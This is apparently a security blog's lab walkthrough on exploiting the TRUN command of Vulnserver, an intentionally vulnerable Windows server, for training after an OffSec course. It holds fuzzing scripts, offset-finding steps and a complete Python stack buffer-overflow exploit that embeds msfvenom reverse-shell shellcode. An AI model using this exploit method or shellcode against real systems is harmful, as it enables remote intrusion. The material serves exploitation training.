| 8 min read
Table of contents
Vulnserver is the natural next step to follow after finishing the Offsec CTP
course. It’s a VbD
(Vulnerable-by-Design) application designed to help you sharpen the Windows exploitation skills. You can download the executable here along with the source code. Remember that you must grab the essfunc.dll
file as well. However, this post (and the others to come) will try to replicate a grey box scenario that is the most common in real exploitation. In which we only will have access to the binary, and we must start doing things like recognizance, enumeration, and fuzzing.
WARNING: Do NOT run vulnserver.exe
on a sensitive machine or a non-secure network. It will be a backdoor that may be used by others to break into your system.
Enumerating Vulnserver
If you launch vulnserver.exe
with no options, the default used port will be TCP/9999.
If we type HELP
, we can see the available commands. The commands commonly receive a single parameter and will return a simple answer. In this post, we are going to check the TRUN
command.
For that, we issue the TRUN
command with a single parameter and check the answer.
Fuzzing Vulnserver
Now that we know that the TRUN
command receives a single parameter, we can start fuzzing it.
As we determined before, TRUN
takes a single parameter. Having noted that, we can create the Spike
script as simple as:
trun.spk.
s_string("TRUN ");
s_string_variable("*");
Notice that we are using two different Spike
commands. The s_string
command will send an immutable string to the fuzzed protocol and s_string_variable
tells Spike
to mutate that string.
Now we can send the fuzz attack to the victim machine:
Look at that: After only 3 iterations, vulnserver.exe
stopped working, and it seems that it happened when we sent 5000 bytes of data. We can see this in Wireshark
:
With that, we can start replicating the crash. For that, we create the first PoC
(Proof-of-Concept) file:
exploit.py.
import socket
HOST = '192.168.0.23'
PORT = 9999
PAYLOAD = (
b'TRUN /.:/' +
b'A' * 5000
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
This time, let’s attach vulnserver.exe
to a debugger. I will use Immunity Debugger with mona.py plugin.
So, let’s run the initial exploit and see what happens:
Great! We were able to replicate the crash of Vulnserver
.
If you look carefully at the image, you can see that the EIP
register has the value of 41414141
which is the hex representation of our payload of A
. EIP
points to the next instruction to be executed, so if we can control EIP
, we have full control of the execution flow of the whole application. Beautiful, isn’t it?
But remember that we injected 5000 A
, so we must know the exact offset on where EIP
gets overwritten. To do that, we can create a cyclic pattern of chars that will help us identify the exact offset that we must inject to the buffer in order to control EIP
. We will use a tool from Metasploit
called pattern_create.rb
:
Running pattern_create.rb.
cd /opt/metasploit-framework/embedded/framework/tools/exploit/
/pattern_create.rb -l 5000
We then add that pattern to our exploit, replacing the buffer of A
with our pattern:
exploit.py.
import socket HOST = '192.168.0.23' PORT = 9999 PAYLOAD = ( b'TRUN /.:/' + b'<paste pattern here>'
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
And we run the exploit again:
As you can see, the EIP
register now holds the value 386F4337
. We need to check the exact offset of that string on our unique cyclic pattern. To do that, we can use pattern_offset.rb
from Metasploit
:
Great, it tells us that the EIP
gets overwritten starting on the 2003 byte of our buffer. Let’s update the exploit to verify that:
exploit.py.
import socket
HOST = '192.168.0.23'
PORT = 9999
PAYLOAD = (
b'TRUN /.:/' +
b'A' * 2003 +
b'B' * 4 +
b'C' * (5000 - 2003 - 4)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
In this updated exploit, we will send a buffer of 2003 A
, then a single 4 byte string of B
(whose hex representation is 42
) and fill the rest of our 5000 buffer with C
. If the offset is correct, EIP
will hold the value of 42424242
which are the four bytes of our B
buffer:
Awesome! Now, we know the exact structure of the vulnerability, and we can proceed to exploit it.
Exploiting
Let’s look at the value of the registers at the time of the crash.
As you can see, two registers point to our injected buffer: EAX
, and ESP
. EAX
points at the exact beginning of our injected buffer but includes the chars TRUN /.:/
. Those may be translated to harmless ASM
instructions but we must not risk our exploitation. However, we have the other register ESP
which points directly to our controlled buffer.
Using !mona findmsp
inside the debugger, we can find this information, along with the continuous space available for us to inject our shellcode.
findmsp.
!mona findmsp
Note that we have 984 bytes after ESP
available for us to run anything we’d want. First, we must search on vulnserver.exe
and its runtime modules, an instruction that can lead us to execute code starting on the memory region pointed by ESP
.
First, let’s find the Vulnserver
runtime dependencies:
It is always a good idea to look for instructions on files that are not part of the OS
because the address of those instructions will likely change over different Windows versions, and that makes the exploit less portable. Also, a null byte (0x00
) on the address of the desired instruction can stop our attack.
mona.py
can also help us to identify the desired instructions on the desired modules, by running:
mona.
!mona jmp -r esp -cp nonull -o
As you can see, there are several JMP ESP
instructions we can pick. We are going to pick the one at 62501205
. Let’s update the exploit and replace the four B
with that address:
exploit.py.
import socket
import struct
HOST = '192.168.0.23'
PORT = 9999
PAYLOAD = (
b'TRUN /.:/' +
b'A' * 2003 +
# 62501205 FFE4 JMP ESP
struct.pack('<L', 0x62501205) +
b'C' * (5000 - 2003 - 4)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
If everything comes as expected, we will hit that JMP ESP
instruction that will lead us to execute code on our C
buffer. Let’s put a breakpoint at the JMP ESP
instruction and run the exploit:
Great!
All that’s left is to include a shellcode in place of the buffer of C
so can execute commands on the victim machine. We will use a reverse shell payload as generated by msfvenom
:
As a rule of thumb, get used to generate shellcodes without bad chars that may break the execution flow of our attack, such as null bytes (0x0
), line feed (\r or 0xa
), and carriage return (\n or 0xd
). You can see a detailed way of checking for bad chars on LTER article.
Also, note that our JMP ESP
led us to our C
but not exactly at the beginning, so we must pad the exploit with some C
chars to make the payload slide gracefully to the start of our reverse shell.
Let’s update the exploit:
exploit.py.
import socket
import struct
HOST = '192.168.0.23'
PORT = 9999
SHELL = b""
SHELL += b"\xb8\x9e\x3b\xe5\xc4\xda\xcf\xd9\x74\x24\xf4\x5d"
SHELL += b"\x2b\xc9\xb1\x52\x31\x45\x12\x83\xc5\x04\x03\xdb"
SHELL += b"\x35\x07\x31\x1f\xa1\x45\xba\xdf\x32\x2a\x32\x3a"
SHELL += b"\x03\x6a\x20\x4f\x34\x5a\x22\x1d\xb9\x11\x66\xb5"
SHELL += b"\x4a\x57\xaf\xba\xfb\xd2\x89\xf5\xfc\x4f\xe9\x94"
SHELL += b"\x7e\x92\x3e\x76\xbe\x5d\x33\x77\x87\x80\xbe\x25"
SHELL += b"\x50\xce\x6d\xd9\xd5\x9a\xad\x52\xa5\x0b\xb6\x87"
SHELL += b"\x7e\x2d\x97\x16\xf4\x74\x37\x99\xd9\x0c\x7e\x81"
SHELL += b"\x3e\x28\xc8\x3a\xf4\xc6\xcb\xea\xc4\x27\x67\xd3"
SHELL += b"\xe8\xd5\x79\x14\xce\x05\x0c\x6c\x2c\xbb\x17\xab"
SHELL += b"\x4e\x67\x9d\x2f\xe8\xec\x05\x8b\x08\x20\xd3\x58"
SHELL += b"\x06\x8d\x97\x06\x0b\x10\x7b\x3d\x37\x99\x7a\x91"
SHELL += b"\xb1\xd9\x58\x35\x99\xba\xc1\x6c\x47\x6c\xfd\x6e"
SHELL += b"\x28\xd1\x5b\xe5\xc5\x06\xd6\xa4\x81\xeb\xdb\x56"
SHELL += b"\x52\x64\x6b\x25\x60\x2b\xc7\xa1\xc8\xa4\xc1\x36"
SHELL += b"\x2e\x9f\xb6\xa8\xd1\x20\xc7\xe1\x15\x74\x97\x99"
SHELL += b"\xbc\xf5\x7c\x59\x40\x20\xd2\x09\xee\x9b\x93\xf9"
SHELL += b"\x4e\x4c\x7c\x13\x41\xb3\x9c\x1c\x8b\xdc\x37\xe7"
SHELL += b"\x5c\x23\x6f\xe7\x88\xcb\x72\xe7\xa1\x57\xfa\x01"
SHELL += b"\xab\x77\xaa\x9a\x44\xe1\xf7\x50\xf4\xee\x2d\x1d"
SHELL += b"\x36\x64\xc2\xe2\xf9\x8d\xaf\xf0\x6e\x7e\xfa\xaa"
SHELL += b"\x39\x81\xd0\xc2\xa6\x10\xbf\x12\xa0\x08\x68\x45"
SHELL += b"\xe5\xff\x61\x03\x1b\x59\xd8\x31\xe6\x3f\x23\xf1"
SHELL += b"\x3d\xfc\xaa\xf8\xb0\xb8\x88\xea\x0c\x40\x95\x5e"
SHELL += b"\xc1\x17\x43\x08\xa7\xc1\x25\xe2\x71\xbd\xef\x62"
SHELL += b"\x07\x8d\x2f\xf4\x08\xd8\xd9\x18\xb8\xb5\x9f\x27"
SHELL += b"\x75\x52\x28\x50\x6b\xc2\xd7\x8b\x2f\xe2\x35\x19"
SHELL += b"\x5a\x8b\xe3\xc8\xe7\xd6\x13\x27\x2b\xef\x97\xcd"
SHELL += b"\xd4\x14\x87\xa4\xd1\x51\x0f\x55\xa8\xca\xfa\x59"
SHELL += b"\x1f\xea\x2e"
PAYLOAD = (
b'TRUN /.:/' +
b'A' * 2003 +
# 62501205 FFE4 JMP ESP
struct.pack('<L', 0x62501205) +
b'C' * 32 +
SHELL +
b'C' * (5000 - 2003 - 4 - 32 - len(SHELL))
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
And let’s check it:
Great! We got our shell!
You can download the final exploit here
Conclusion
This was one of the most straightforward exploits for Vulnserver. Other commands will pose a little more effort, but fear not; we will post here how to exploit them successfully.
Table of contents
Share
Recommended blog posts
You might be interested in the following related posts.
A lesson of this global IT crash is to shift left
Consequential data breaches in the financial sector
Data breaches that left their mark on time
Our pick of the hardest challenges for ethical hackers
Beware of insecure-by-default libraries!
An OffSec Exploitation Expert review
An interview with members of our hacking team